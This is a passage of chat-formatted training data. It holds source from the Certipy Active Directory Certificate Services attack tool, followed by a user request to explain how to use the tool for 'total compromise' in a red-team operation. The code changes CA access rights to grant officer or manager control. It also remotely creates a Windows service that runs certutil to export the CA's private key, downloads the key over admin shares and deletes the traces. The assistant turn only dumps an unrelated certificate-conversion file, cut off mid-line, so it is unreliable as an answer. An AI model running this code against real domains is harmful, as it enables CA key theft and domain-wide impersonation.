self.cert_request2.request(request)\n\n # Convert the certificate blob to an x509 certificate\n exchange_cert = der_to_cert(b\"\".join(resp[\"pctbPropertyValue\"][\"pb\"]))\n return exchange_cert\n\n def get_config_rrp(self) -> \"CAConfiguration\":\n \"\"\"\n Get CA configuration via the Remote Registry Protocol.\n Used as a fallback when CSRA fails.\n\n This method navigates the Windows registry structure to extract CA configuration\n settings including policy modules, edit flags, request disposition,\n disabled extensions, interface flags, and security descriptors.\n\n Returns:\n CAConfiguration object containing CA configuration settings\n\n Raises:\n ValueError: If critical registry values have unexpected types\n \"\"\"\n # Open local machine registry hive\n hklm = rrp.hOpenLocalMachine(self.rrp_dce)\n h_root_key = hklm[\"phKey\"]\n\n # First retrieve active policy module information\n policy_key_path = (\n f\"SYSTEM\\\\CurrentControlSet\\\\Services\\\\CertSvc\\\\Configuration\\\\{self.ca}\\\\\"\n \"PolicyModules\"\n )\n policy_key = rrp.hBaseRegOpenKey(self.rrp_dce, h_root_key, policy_key_path)\n\n # Get active policy module name\n _, active_policy = rrp.hBaseRegQueryValue(\n self.rrp_dce, policy_key[\"phkResult\"], \"Active\"\n )\n\n if not isinstance(active_policy, str):\n logging.warning(\n f\"Expected a string for active policy, got {type(active_policy)!r}\"\n )\n logging.warning(\"Falling back to default policy\")\n active_policy = \"CertificateAuthority_MicrosoftDefault.Policy\"\n\n active_policy = active_policy.strip(\"\\x00\")\n\n # Open policy module configuration\n policy_key_path = (\n f\"SYSTEM\\\\CurrentControlSet\\\\Services\\\\CertSvc\\\\Configuration\\\\{self.ca}\\\\\"\n f\"PolicyModules\\\\{active_policy}\"\n )\n policy_key = rrp.hBaseRegOpenKey(self.rrp_dce, h_root_key, policy_key_path)\n\n # Retrieve edit flags (controls certificate request behavior)\n _, edit_flags = rrp.hBaseRegQueryValue(\n self.rrp_dce, policy_key[\"phkResult\"], \"EditFlags\"\n )\n\n if not isinstance(edit_flags, int):\n logging.warning(f\"Expected an int for edit flags, got {type(edit_flags)!r}\")\n logging.warning(\"Falling back to default edit flags\")\n edit_flags = 0x00000000\n\n # Retrieve request disposition (auto-enrollment settings)\n _, request_disposition = rrp.hBaseRegQueryValue(\n self.rrp_dce, policy_key[\"phkResult\"], \"RequestDisposition\"\n )\n\n if not isinstance(request_disposition, int):\n logging.warning(\n f\"Expected an int for request disposition, got {type(request_disposition)!r}\"\n )\n logging.warning(\"Falling back to default request disposition\")\n request_disposition = 0x00000000\n\n # Retrieve disabled extensions\n _, disable_extension_list = rrp.hBaseRegQueryValue(\n self.rrp_dce, policy_key[\"phkResult\"], \"DisableExtensionList\"\n )\n\n if not isinstance(disable_extension_list, str):\n logging.warning(\n f\"Expected a string for disable extension list, got {type(disable_extension_list)!r}\"\n )\n logging.warning(\"Falling back to default disable extension list\")\n disable_extension_list = \"\"\n\n # Process null-terminated string list into Python list\n disable_extension_list = [\n item for item in disable_extension_list.strip(\"\\x00\").split(\"\\x00\") if item\n ]\n\n # Now get general CA configuration settings\n configuration_key_path = (\n f\"SYSTEM\\\\CurrentControlSet\\\\Services\\\\CertSvc\\\\Configuration\\\\{self.ca}\"\n )\n configuration_key = rrp.hBaseRegOpenKey(\n self.rrp_dce, h_root_key, configuration_key_path\n )\n\n # Retrieve interface flags (controls CA interface behavior)\n _, interface_flags = rrp.hBaseRegQueryValue(\n self.rrp_dce, configuration_key[\"phkResult\"], \"InterfaceFlags\"\n )\n\n if not isinstance(interface_flags, int):\n logging.warning(\n f\"Expected an int for interface flags, got {type(interface_flags)!r}\"\n )\n logging.warning(\"Falling back to default interface flags\")\n interface_flags = 0x00000000\n\n # Retrieve security descriptor (controls access permissions)\n _, security_descriptor = rrp.hBaseRegQueryValue(\n self.rrp_dce, configuration_key[\"phkResult\"], \"Security\"\n )\n\n if not isinstance(security_descriptor, bytes):\n raise ValueError(\n f\"Expected a bytes object for security descriptor, got {type(security_descriptor)!r}\"\n )\n\n # Parse the binary security descriptor\n security_descriptor = CASecurity(security_descriptor)\n\n # Return a complete configuration object\n return CAConfiguration(\n active_policy,\n edit_flags,\n disable_extension_list,\n request_disposition,\n interface_flags,\n security_descriptor,\n )\n\n def get_config(self) -> Optional[\"CAConfiguration\"]:\n \"\"\"\n Get CA configuration using the Remote Registry Protocol (RRP).\n\n This method attempts to retrieve the CA configuration using RRP\n and handles any exceptions that might occur during the process.\n\n Returns:\n CAConfiguration object containing configuration settings or None if retrieval fails\n \"\"\"\n try:\n logging.info(f\"Retrieving CA configuration for {self.ca!r} via RRP\")\n result = self.get_config_rrp()\n logging.info(f\"Successfully retrieved CA configuration for {self.ca!r}\")\n return result\n except Exception as e:\n logging.warning(\n f\"Failed to get CA configuration for {self.ca!r} via RRP: {e}\"\n )\n handle_error(True)\n\n logging.warning(f\"Could not retrieve configuration for {self.ca!r}\")\n return None\n\n # =========================================================================\n # Certificate Request Management Methods\n # =========================================================================\n\n def issue(self) -> bool:\n \"\"\"\n Issue (approve) a pending certificate request.\n\n Returns:\n True if successful, False otherwise\n \"\"\"\n if self.request_id is None:\n logging.error(\n \"A request ID (-request-id) is required in order to issue a pending or failed certificate request\"\n )\n return False\n\n request = ICertAdminDResubmitRequest()\n request[\"pwszAuthority\"] = checkNullString(self.ca)\n request[\"pdwRequestId\"] = int(self.request_id)\n request[\"pwszExtensionName\"] = checkNullString(\"\\x00\") # No extension\n\n try:\n resp = self.cert_admin.request(request)\n except DCERPCSessionError as e:\n if \"E_ACCESSDENIED\" in str(e):\n logging.error(\n \"Access denied: Insufficient permissions to issue certificate\"\n )\n return False\n logging.error(\n f\"Failed to issue certificate request ID {self.request_id}: {e}\"\n )\n handle_error()\n return False\n\n error_code = resp[\"pdwDisposition\"]\n\n if error_code == 3: # Success\n logging.info(\n f\"Successfully issued certificate request ID {self.request_id}\"\n )\n return True\n else:\n error_msg = translate_error_code(error_code)\n logging.error(f\"Failed to issue certificate: {error_msg}\")\n return False\n\n def deny(self) -> bool:\n \"\"\"\n Deny a pending certificate request.\n\n Returns:\n True if successful, False otherwise\n \"\"\"\n if self.request_id is None:\n logging.error(\n \"A request ID (-request-id) is required in order to deny a pending certificate request\"\n )\n return False\n\n request = ICertAdminDDenyRequest()\n request[\"pwszAuthority\"] = checkNullString(self.ca)\n request[\"pdwRequestId\"] = int(self.request_id)\n\n try:\n resp = self.cert_admin.request(request)\n except DCERPCSessionError as e:\n if \"E_ACCESSDENIED\" in str(e):\n logging.error(\n \"Access denied: Insufficient permissions to deny certificate request\"\n )\n return False\n logging.error(\n f\"Failed to deny certificate request ID {self.request_id}: {e}\"\n )\n handle_error()\n return False\n\n error_code = resp[\"ErrorCode\"]\n\n if error_code == 0: # Success\n logging.info(\n f\"Successfully denied certificate request ID {self.request_id}\"\n )\n return True\n else:\n error_msg = translate_error_code(error_code)\n logging.error(f\"Failed to deny certificate request: {error_msg}\")\n return False\n\n # =========================================================================\n # Template Management Methods\n # =========================================================================\n\n def get_templates(self) -> Optional[List[str]]:\n \"\"\"\n Get list of templates enabled on the CA.\n\n Returns:\n List of template names and their OIDs\n Returns False if the operation fails\n \"\"\"\n if self.ca is None:\n logging.error(\"A CA (-ca) is required\")\n return None\n\n request = ICertAdminD2GetCAProperty()\n request[\"pwszAuthority\"] = checkNullString(self.ca)\n request[\"PropId\"] = CR_PROP_TEMPLATES\n request[\"PropIndex\"] = 0\n request[\"PropType\"] = 4 # String data type\n\n try:\n resp = self.cert_admin2.request(request)\n except DCERPCSessionError as e:\n if \"E_ACCESSDENIED\" in str(e):\n logging.error(\n \"Access denied: Insufficient permissions to get templates\"\n )\n return None\n logging.error(f\"Failed to get certificate templates: {e}\")\n handle_error()\n return None\n\n # Parse templates (format is name\\noid\\nname\\noid...)\n certificate_templates = (\n b\"\".join(resp[\"pctbPropertyValue\"][\"pb\"]).decode(\"utf-16le\").split(\"\\n\")\n )\n return certificate_templates\n\n def list_templates(self) -> None:\n \"\"\"\n List templates enabled on the CA.\n\n Prints the list of templates to stdout.\n \"\"\"\n certificate_templates = self.get_templates()\n\n if certificate_templates is None:\n return\n\n if len(certificate_templates) == 1:\n logging.info(f\"There are no enabled certificate templates on {self.ca!r}\")\n return\n\n logging.info(f\"Enabled certificate templates on {self.ca!r}:\")\n for i in range(0, len(certificate_templates) - 1, 2):\n print(f\" {certificate_templates[i]}\")\n\n def enable(self, disable: bool = False) -> bool:\n \"\"\"\n Enable or disable a template on the CA.\n\n Args:\n disable: If True, disable the template; otherwise enable it\n\n Returns:\n True if successful, False otherwise\n \"\"\"\n if self.ca is None:\n logging.error(\"A CA (-ca) is required\")\n return False\n\n if self.template is None:\n logging.error(\"A template (-template) is required\")\n return False\n\n # Get current templates\n certificate_templates = self.get_templates()\n if certificate_templates is None:\n return False\n\n # Get template to enable/disable\n template_obj = Template(self.target, connection=self.connection)\n template = template_obj.get_configuration(self.template)\n if template is None:\n return False\n\n action = \"disable\" if disable else \"enable\"\n\n # Update template list based on action\n if disable:\n if template.get(\"cn\") not in certificate_templates:\n logging.error(\n f\"Certificate template {template.get('cn')!r} is not enabled on {self.ca!r}\"\n )\n return False\n\n # Remove template and its OID from the list\n template_index = certificate_templates.index(template.get(\"cn\"))\n certificate_templates = (\n certificate_templates[:template_index]\n + certificate_templates[template_index + 2 :]\n )\n else:\n # Add template and its OID to the start of the list\n certificate_templates = [\n template.get(\"cn\"),\n template.get(\"msPKI-Cert-Template-OID\"),\n ] + certificate_templates\n\n # Convert to UTF-16LE bytes for RPC call\n certificate_templates_bytes = [\n bytes([c]) for c in \"\\n\".join(certificate_templates).encode(\"utf-16le\")\n ]\n\n # Update CA property\n request = ICertAdminD2SetCAProperty()\n request[\"pwszAuthority\"] = checkNullString(self.ca)\n request[\"PropId\"] = CR_PROP_TEMPLATES\n request[\"PropIndex\"] = 0\n request[\"PropType\"] = 4 # String data type\n request[\"pctbPropertyValue\"][\"cb\"] = len(certificate_templates_bytes)\n request[\"pctbPropertyValue\"][\"pb\"] = certificate_templates_bytes\n\n try:\n resp = self.cert_admin2.request(request)\n except DCERPCSessionError as e:\n if \"E_ACCESSDENIED\" in str(e):\n logging.error(\n f\"Access denied: Insufficient permissions to {action} template\"\n )\n return False\n logging.error(\n f\"Failed to {action} certificate template {template.get('cn')!r}: {e}\"\n )\n handle_error()\n return False\n\n error_code = resp[\"ErrorCode\"]\n if error_code == 0:\n logging.info(\n f\"Successfully {action}d {template.get('cn')!r} on {self.ca!r}\"\n )\n return True\n else:\n error_msg = translate_error_code(error_code)\n logging.error(f\"Failed to {action} certificate template: {error_msg}\")\n return False\n\n def disable(self) -> bool:\n \"\"\"\n Disable a template on the CA.\n Convenience method that calls enable() with disable=True.\n\n Returns:\n True if successful, False otherwise\n \"\"\"\n return self.enable(disable=True)\n\n # =========================================================================\n # CA Security Management Methods\n # =========================================================================\n\n def _modify_ca_security(\n self, user: str, right: int, right_type: str, remove: bool = False\n ) -> Union[bool, None]:\n \"\"\"\n Add or remove rights for a user on the CA.\n\n Args:\n user: Username\n right: Right to add/remove (from CERTIFICATION_AUTHORITY_RIGHTS)\n right_type: Description of the right (for logging)\n remove: If True, remove the right; otherwise add it\n\n Returns:\n True if successful, False if failed, None if user not found\n \"\"\"\n connection = self.connection\n\n # Get user object\n user_obj = connection.get_user(user)\n if user_obj is None:\n return None\n\n # Get user SID\n sid = ldaptypes.LDAP_SID(data=user_obj.get_raw(\"objectSid\")[0])\n\n # Get current CA security descriptor\n request = ICertAdminD2GetCASecurity()\n request[\"pwszAuthority\"] = checkNullString(self.ca)\n\n try:\n resp = self.cert_admin2.request(request)\n except DCERPCSessionError as e:\n if \"E_ACCESSDENIED\" in str(e):\n logging.error(\n \"Access denied: Insufficient permissions to get CA security\"\n )\n return False\n logging.error(f\"Failed to get CA security descriptor: {e}\")\n handle_error()\n return False\n\n # Parse security descriptor\n sd = ldaptypes.SR_SECURITY_DESCRIPTOR()\n sd.fromString(b\"\".join(resp[\"pctbSD\"][\"pb\"]))\n\n # Find ACE for the user or create a new one\n for i in range(len(sd[\"Dacl\"][\"Data\"])):\n ace = sd[\"Dacl\"][\"Data\"][i]\n if ace[\"AceType\"] != ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE:\n continue\n\n if ace[\"Ace\"][\"Sid\"].getData() != sid.getData():\n continue\n\n # Found existing ACE for this user\n action = \"remove\" if remove else \"add\"\n\n if remove:\n # Check if user has the right\n if ace[\"Ace\"][\"Mask\"][\"Mask\"] & right == 0:\n logging.info(\n f\"User {user_obj.get('sAMAccountName')!r} does not have {right_type} \"\n f\"rights on {self.ca!r}\"\n )\n return True\n\n # Remove the right\n ace[\"Ace\"][\"Mask\"][\"Mask\"] ^= right\n\n # Remove the ACE if no rights remaining\n if ace[\"Ace\"][\"Mask\"][\"Mask\"] == 0:\n sd[\"Dacl\"][\"Data\"].pop(i)\n else:\n # Check if user already has the right\n if ace[\"Ace\"][\"Mask\"][\"Mask\"] & right != 0:\n logging.info(\n f\"User {user_obj.get('sAMAccountName')!r} already has {right_type} \"\n f\"rights on {self.ca!r}\"\n )\n return True\n\n # Add the right\n ace[\"Ace\"][\"Mask\"][\"Mask\"] |= right\n\n break\n else:\n # No existing ACE found\n if remove:\n # Nothing to remove\n logging.info(\n f\"User {user_obj.get('sAMAccountName')!r} does not have {right_type} \"\n f\"rights on {self.ca!r}\"\n )\n return True\n\n # Create new ACE\n ace = ldaptypes.ACE()\n ace[\"AceType\"] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE\n ace[\"AceFlags\"] = 0\n ace[\"Ace\"] = ldaptypes.ACCESS_ALLOWED_ACE()\n ace[\"Ace\"][\"Mask\"] = ldaptypes.ACCESS_MASK()\n ace[\"Ace\"][\"Mask\"][\"Mask\"] = right\n ace[\"Ace\"][\"Sid\"] = sid\n\n sd[\"Dacl\"][\"Data\"].append(ace)\n\n # Convert SD back to bytes\n sd_bytes = [bytes([c]) for c in sd.getData()]\n\n # Set updated security descriptor\n request = ICertAdminD2SetCASecurity()\n request[\"pwszAuthority\"] = checkNullString(self.ca)\n request[\"pctbSD\"][\"cb\"] = len(sd_bytes)\n request[\"pctbSD\"][\"pb\"] = sd_bytes\n\n try:\n resp = self.cert_admin2.request(request)\n except DCERPCSessionError as e:\n action = \"remove\" if remove else \"add\"\n if \"E_ACCESSDENIED\" in str(e):\n logging.error(\n f\"Access denied: Insufficient permissions to {action} {right_type}\"\n )\n return False\n logging.error(f\"Failed to {action} {right_type}: {e}\")\n handle_error()\n return False\n\n error_code = resp[\"ErrorCode\"]\n if error_code == 0:\n action = \"removed\" if remove else \"added\"\n logging.info(\n f\"Successfully {action} {right_type} {user_obj.get('sAMAccountName')!r} \"\n f\"on {self.ca!r}\"\n )\n return True\n else:\n error_msg = translate_error_code(error_code)\n action = \"remove\" if remove else \"add\"\n logging.error(f\"Failed to {action} {right_type}: {error_msg}\")\n return False\n\n def add(self, user: str, right: int, right_type: str) -> Union[bool, None]:\n \"\"\"\n Add a right for a user on the CA.\n\n Args:\n user: Username\n right: Right to add (from CERTIFICATION_AUTHORITY_RIGHTS)\n right_type: Description of the right (for logging)\n\n Returns:\n True if successful, False if failed, None if user not found\n \"\"\"\n return self._modify_ca_security(user, right, right_type, remove=False)\n\n def remove(self, user: str, right: int, right_type: str) -> Union[bool, None]:\n \"\"\"\n Remove a right from a user on the CA.\n\n Args:\n user: Username\n right: Right to remove (from CERTIFICATION_AUTHORITY_RIGHTS)\n right_type: Description of the right (for logging)\n\n Returns:\n True if successful, False if failed, None if user not found\n \"\"\"\n return self._modify_ca_security(user, right, right_type, remove=True)\n\n def add_officer(self, officer: str) -> Union[bool, None]:\n \"\"\"\n Add certificate officer rights for a user.\n Officers can approve/deny certificate requests.\n\n Args:\n officer: Username to add as an officer\n\n Returns:\n True if successful, False if failed, None if user not found\n \"\"\"\n return self.add(\n officer, CertificateAuthorityRights.MANAGE_CERTIFICATES.value, \"officer\"\n )\n\n def remove_officer(self, officer: str) -> Union[bool, None]:\n \"\"\"\n Remove certificate officer rights from a user.\n\n Args:\n officer: Username to remove as an officer\n\n Returns:\n True if successful, False if failed, None if user not found\n \"\"\"\n return self.remove(\n officer, CertificateAuthorityRights.MANAGE_CERTIFICATES.value, \"officer\"\n )\n\n def add_manager(self, manager: str) -> Union[bool, None]:\n \"\"\"\n Add certificate manager rights for a user.\n Managers can manage CA configuration.\n\n Args:\n manager: Username to add as a manager\n\n Returns:\n True if successful, False if failed, None if user not found\n \"\"\"\n return self.add(manager, CertificateAuthorityRights.MANAGE_CA.value, \"manager\")\n\n def remove_manager(self, manager: str) -> Union[bool, None]:\n \"\"\"\n Remove certificate manager rights from a user.\n\n Args:\n manager: Username to remove as a manager\n\n Returns:\n True if successful, False if failed, None if user not found\n \"\"\"\n return self.remove(\n manager, CertificateAuthorityRights.MANAGE_CA.value, \"manager\"\n )\n\n # =========================================================================\n # CA Backup Methods\n # =========================================================================\n\n def get_enrollment_services(self) -> List[LDAPEntry]:\n \"\"\"\n Get all enrollment services in the domain.\n\n Returns:\n List of enrollment service objects\n \"\"\"\n enrollment_services = self.connection.search(\n \"(&(objectClass=pKIEnrollmentService))\",\n search_base=f\"CN=Enrollment Services,CN=Public Key Services,CN=Services,{self.connection.configuration_path}\",\n )\n return enrollment_services\n\n def get_enrollment_service(self, ca: str) -> Optional[LDAPEntry]:\n \"\"\"\n Get a specific enrollment service.\n\n Args:\n ca: CA name\n\n Returns:\n Enrollment service object or None if not found\n \"\"\"\n enrollment_services = self.connection.search(\n f\"(&(cn={ca})(objectClass=pKIEnrollmentService))\",\n search_base=f\"CN=Enrollment Services,CN=Public Key Services,CN=Services,{self.connection.configuration_path}\",\n )\n\n if len(enrollment_services) == 0:\n logging.warning(\n f\"Could not find any enrollment service identified by {ca!r}\"\n )\n return None\n\n return enrollment_services[0]\n\n def get_backup(self) -> Optional[bytes]:\n \"\"\"\n Retrieve CA backup file from the target.\n\n Returns:\n PFX data as bytes or None if retrieval fails\n \"\"\"\n # Connect to SMB share\n smbclient = SMBConnection(\n self.target.remote_name,\n self.target.target_ip or \"\",\n timeout=self.target.timeout,\n )\n\n # Authenticate with appropriate method\n if self.target.do_kerberos:\n kdc_rep, cipher, session_key, username, domain = get_tgs(\n self.target, self.target.remote_name, \"cifs\"\n )\n\n tgs = {\"KDC_REP\": kdc_rep, \"cipher\": cipher, \"sessionKey\": session_key}\n\n _ = smbclient.kerberosLogin(\n username,\n self.target.password,\n domain,\n self.target.lmhash,\n self.target.nthash,\n kdcHost=self.target.dc_ip,\n TGS=tgs,\n )\n else:\n _ = smbclient.login(\n self.target.username,\n self.target.password,\n self.target.domain,\n self.target.lmhash,\n self.target.nthash,\n )\n\n # Try to connect to C$ or ADMIN$ share\n tid = None\n share = None\n file_path = None\n\n try:\n share = \"C$\"\n tid = smbclient.connectTree(share)\n file_path = \"\\\\Windows\\\\Tasks\\\\certipy.pfx\"\n except Exception as e:\n if \"STATUS_BAD_NETWORK_NAME\" in str(e):\n tid = None\n else:\n raise\n\n # Fall back to ADMIN$ if C$ fails\n if tid is None:\n try:\n share = \"ADMIN$\"\n tid = smbclient.connectTree(share)\n file_path = \"\\\\Tasks\\\\certipy.pfx\"\n except Exception as e:\n if \"STATUS_BAD_NETWORK_NAME\" in str(e):\n raise Exception(\n f\"Could not connect to 'C$' or 'ADMIN$' on {self.target.target_ip!r}\"\n )\n else:\n raise\n\n pfx = None\n\n # Callback to store PFX data\n def _read_pfx(data: bytes):\n nonlocal pfx\n logging.info(\"Got certificate and private key\")\n pfx = data\n\n # Download PFX file\n try:\n _ = smbclient.getFile(share, file_path, _read_pfx)\n except Exception as e:\n if \"STATUS_OBJECT_NAME_NOT_FOUND\" in str(e):\n logging.error(\n \"Could not find the certificate and private key. This most likely means that the backup failed\"\n )\n return None\n logging.error(f\"Failed to retrieve certificate and private key: {e}\")\n handle_error()\n return None\n\n # Clean up by deleting the temporary file\n try:\n _ = smbclient.deleteFile(share, file_path)\n except Exception as e:\n logging.info(\n f\"Failed to delete {file_path} - it may have already been deleted: {e}\"\n )\n\n return pfx\n\n def backup(self) -> bool:\n \"\"\"\n Create a backup of the CA key and certificate.\n\n Returns:\n True if successful, False otherwise\n \"\"\"\n # Connect to service control manager\n dce = get_dce_rpc(\n scmr.MSRPC_UUID_SCMR, # type: ignore\n \"\\\\pipe\\\\svcctl\",\n self.target,\n timeout=self.timeout,\n dynamic=self.dynamic,\n auth_level_np=rpcrt.RPC_C_AUTHN_LEVEL_NONE,\n )\n\n if dce is None:\n logging.error(\n \"Failed to connect to Service Control Manager Remote Protocol\"\n )\n return False\n\n # Open service manager\n res = scmr.hROpenSCManagerW(dce)\n handle = res[\"lpScHandle\"]\n\n # Prepare backup command\n config_param = f\" -config {self.config}\" if self.config else \"\"\n backup_cmd = (\n \"cmd.exe /c certutil\"\n + config_param\n + \" -backupkey -f -p certipy C:\\\\Windows\\\\Tasks\\\\Certipy && \"\n + \"move /y C:\\\\Windows\\\\Tasks\\\\Certipy\\\\* C:\\\\Windows\\\\Tasks\\\\certipy.pfx\"\n )\n\n logging.info(\"Creating new service for backup operation\")\n try:\n # Create service for backup operation\n resp = scmr.hRCreateServiceW(\n dce,\n handle,\n \"Certipy\",\n \"Certipy\",\n lpBinaryPathName=backup_cmd, # type: ignore\n dwStartType=scmr.SERVICE_DEMAND_START,\n )\n service_handle = resp[\"lpServiceHandle\"]\n except Exception as e:\n # Handle case where service already exists\n if \"ERROR_SERVICE_EXISTS\" in str(e):\n resp = scmr.hROpenServiceW(dce, handle, \"Certipy\")\n service_handle = resp[\"lpServiceHandle\"]\n\n # Update existing service with our command\n resp = scmr.hRChangeServiceConfigW(\n dce,\n service_handle,\n lpBinaryPathName=backup_cmd, # type: ignore\n )\n else:\n logging.error(f\"Failed to create service: {e}\")\n handle_error()\n return False\n\n logging.info(\"Creating backup\")\n try:\n # Start the service to execute our command\n scmr.hRStartServiceW(dce, service_handle)\n except Exception as e:\n # Ignore service-specific errors (usually means it's already running)\n logging.debug(f\"Service start returned: {e}\")\n\n logging.info(\"Retrieving backup\")\n try:\n # Get the backup file\n pfx = self.get_backup()\n if pfx:\n # Save raw PFX with password \"certipy\"\n logging.info(\"Backing up original PFX/P12 to 'pfx.p12'\")\n path = try_to_save_file(\n pfx,\n \"pfx.p12\",\n )\n logging.info(f\"Backed up original PFX/P12 to {path!r}\")\n\n # Parse and convert to standard PFX format\n key, cert = load_pfx(pfx, b\"certipy\")\n\n if cert is None:\n logging.error(\"Failed to load certificate from PFX\")\n return False\n\n if key is None:\n logging.error(\"Failed to load private key from PFX\")\n return False\n\n common_name = cert.subject.get_attributes_for_oid(NameOID.COMMON_NAME)[\n 0\n ]\n\n # Create new PFX with default password\n pfx = create_pfx(key, cert)\n\n pfx_out = f\"{common_name.value}.pfx\"\n logging.info(f\"Saving certificate and private key to {pfx_out!r}\")\n path = try_to_save_file(\n pfx,\n pfx_out,\n )\n logging.info(f\"Wrote certificate and private key to {path!r}\")\n except Exception as e:\n logging.error(f\"Backup failed: {e}\")\n handle_error()\n return False\n\n logging.info(\"Cleaning up\")\n\n # Clean up: delete temporary files on the server\n cleanup_cmd = \"cmd.exe /c del /f /q C:\\\\Windows\\\\Tasks\\\\Certipy\\\\* && rmdir C:\\\\Windows\\\\Tasks\\\\Certipy\"\n\n # Update and run the service again for cleanup\n resp = scmr.hRChangeServiceConfigW(\n dce,\n service_handle,\n lpBinaryPathName=cleanup_cmd, # type: ignore\n )\n\n try:\n scmr.hRStartServiceW(dce, service_handle)\n except Exception:\n pass\n\n # Remove the temporary service\n scmr.hRDeleteService(dce, service_handle)\n scmr.hRCloseServiceHandle(dce, service_handle)\n\n return True\n\n\nclass CAConfiguration:\n \"\"\"\n Class representing a Certificate Authority configuration.\n\n This class encapsulates all the configuration parameters for a Certificate Authority,\n including security settings, policy configuration, and operational flags.\n\n Attributes:\n active_policy: Name of the active policy module\n edit_flags: CA policy edit flags controlling certificate request handling\n disable_extension_list: List of certificate extensions that are disabled\n request_disposition: Default disposition for certificate requests\n interface_flags: Flags controlling CA interface behavior\n security: Security descriptor for the CA\n \"\"\"\n\n def __init__(\n self,\n active_policy: str,\n edit_flags: int,\n disable_extension_list: List[str],\n request_disposition: int,\n interface_flags: int,\n security: CASecurity,\n ):\n \"\"\"\n Initialize a CA configuration object.\n\n Args:\n active_policy: Name of the active policy module (typically CertificateAuthority_MicrosoftDefault.Policy)\n edit_flags: Policy edit flags that control certificate issuance behavior\n disable_extension_list: List of disabled certificate extensions\n request_disposition: Default disposition for new certificate requests\n interface_flags: Interface control flags\n security: CASecurity object containing the CA's security descriptor\n \"\"\"\n self.active_policy = active_policy\n self.edit_flags = edit_flags\n self.disable_extension_list = disable_extension_list\n self.request_disposition = request_disposition\n self.interface_flags = interface_flags\n self.security = security\n\n\ndef entry(options: argparse.Namespace) -> None:\n \"\"\"\n Entry point for the 'ca' command.\n\n Args:\n options: Command-line arguments\n \"\"\"\n target = Target.from_options(options)\n options.__delattr__(\"target\")\n\n ca = CA(target, **vars(options))\n\n # Validate CA name if required\n if not options.backup:\n if not options.ca:\n logging.error(\"A CA (-ca) is required\")\n return\n\n # Dispatch to appropriate subcommand handler\n if options.backup is True:\n _ = ca.backup()\n elif options.add_officer is not None:\n _ = ca.add_officer(options.add_officer)\n elif options.remove_officer is not None:\n _ = ca.remove_officer(options.remove_officer)\n elif options.add_manager is not None:\n _ = ca.add_manager(options.add_manager)\n elif options.remove_manager is not None:\n _ = ca.remove_manager(options.remove_manager)\n elif options.list_templates:\n _ = ca.list_templates()\n elif options.issue_request is not None:\n ca.request_id = int(options.issue_request)\n _ = ca.issue()\n elif options.deny_request is not None:\n ca.request_id = int(options.deny_request)\n _ = ca.deny()\n elif options.enable_template is not None:\n ca.template = options.enable_template\n _ = ca.enable()\n elif options.disable_template is not None:\n ca.template = options.disable_template\n _ = ca.disable()\n else:\n logging.error(\"No action specified\")\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/commands/cert.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nCertificate Processing Module for Certipy.\n\nThis module provides utility functions for working with certificates:\n- Converting between different certificate formats (PEM, DER, PFX)\n- Loading certificates and private keys\n- Exporting certificates in various formats\n\nIt serves as a command-line utility for certificate manipulation tasks.\n\"\"\"\n\nimport argparse\nimport sys\nfrom typing import Optional, Union\n\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives.asymmetric.types import PrivateKeyTypes\n\nfrom certipy.lib.certificate import (\n cert_to_pem,\n create_pfx,\n der_to_cert,\n der_to_key,\n key_to_pem,\n load_pfx,\n pem_to_cert,\n pem_to_key,\n)\nfrom certipy.lib.errors import handle_error\nfrom certipy.lib.logger import logging\n\n\ndef load_certificate_file(file_path: str) -> bytes:\n \"\"\"\n Load certificate data from a file.\n\n Args:\n file_path: Path to certificate file\n\n Returns:\n Certificate data as bytes\n \"\"\"\n logging.debug(f\"Loading certificate from {file_path!r}\")\n try:\n with open(file_path, \"rb\") as f:\n cert_data = f.read()\n return cert_data\n except FileNotFoundError:\n logging.error(f\"Certificate file not found: {file_path!r}\")\n raise\n except IOError as e:\n logging.error(f\"Error reading certificate file: {e}\")\n raise\n except Exception as e:\n logging.error(f\"Unexpected error reading certificate file: {e}\")\n raise\n\n\ndef load_key_file(file_path: str) -> bytes:\n \"\"\"\n Load private key data from a file.\n\n Args:\n file_path: Path to private key file\n\n Returns:\n Private key data as bytes\n \"\"\"\n logging.debug(f\"Loading private key from {file_path!r}\")\n try:\n with open(file_path, \"rb\") as f:\n key_data = f.read()\n return key_data\n except FileNotFoundError:\n logging.error(f\"Private key file not found: {file_path!r}\")\n raise\n except IOError as e:\n logging.error(f\"Error reading private key file: {e}\")\n raise\n except Exception as e:\n logging.error(f\"Unexpected error reading private key file: {e}\")\n raise\n\n\ndef parse_certificate(cert_data: bytes) -> x509.Certificate:\n \"\"\"\n Parse certificate data from PEM or DER format.\n\n Args:\n cert_data: Raw certificate data\n\n Returns:\n Parsed certificate object\n \"\"\"\n try:\n # Try PEM format first\n return pem_to_cert(cert_data)\n except Exception:\n # Fall back to DER format\n try:\n return der_to_cert(cert_data)\n except Exception as e:\n logging.error(f\"Failed to parse certificate: {e}\")\n raise ValueError(\"Certificate is not in a valid PEM or DER format\")\n\n\ndef parse_key(key_data: bytes) -> PrivateKeyTypes:\n \"\"\"\n Parse private key data from PEM or DER format.\n\n Args:\n key_data: Raw private key data\n\n Returns:\n Parsed private key object\n \"\"\"\n try:\n # Try PEM format first\n return pem_to_key(key_data)\n except Exception:\n # Fall back to DER format\n try:\n return der_to_key(key_data)\n except Exception as e:\n logging.error(f\"Failed to parse private key: {e}\")\n raise ValueError(\"Private key is not in a valid PEM or DER format\")\n\n\ndef write_output(data: Union[bytes, str], output_path: Optional[str] = None) -> None:\n \"\"\"\n Write data to a file or stdout.\n\n Args:\n data: Data to write\n output_path: Path to output file or None for stdout\n \"\"\"\n if output_path:\n # Determine if we need binary mode\n mode = \"wb\" if isinstance(data, bytes) else \"w\"\n try:\n with open(output_path, mode) as f:\n _ = f.write(data)\n logging.info(f\"Data written to {output_path!r}\")\n except IOError as e:\n logging.error(f\"Error writing output file: {e}\")\n raise\n except Exception as e:\n logging.error(f\"Unexpected error writing output file: {e}\")\n raise\n else:\n # Write to stdout\n if isinstance(data, bytes):\n _ = sys.stdout.buffer.write(data)\n else:\n print(data)\n\n\ndef entry(options: argparse.Namespace) -> None:\n \"\"\"\n Entry point for the 'cert' 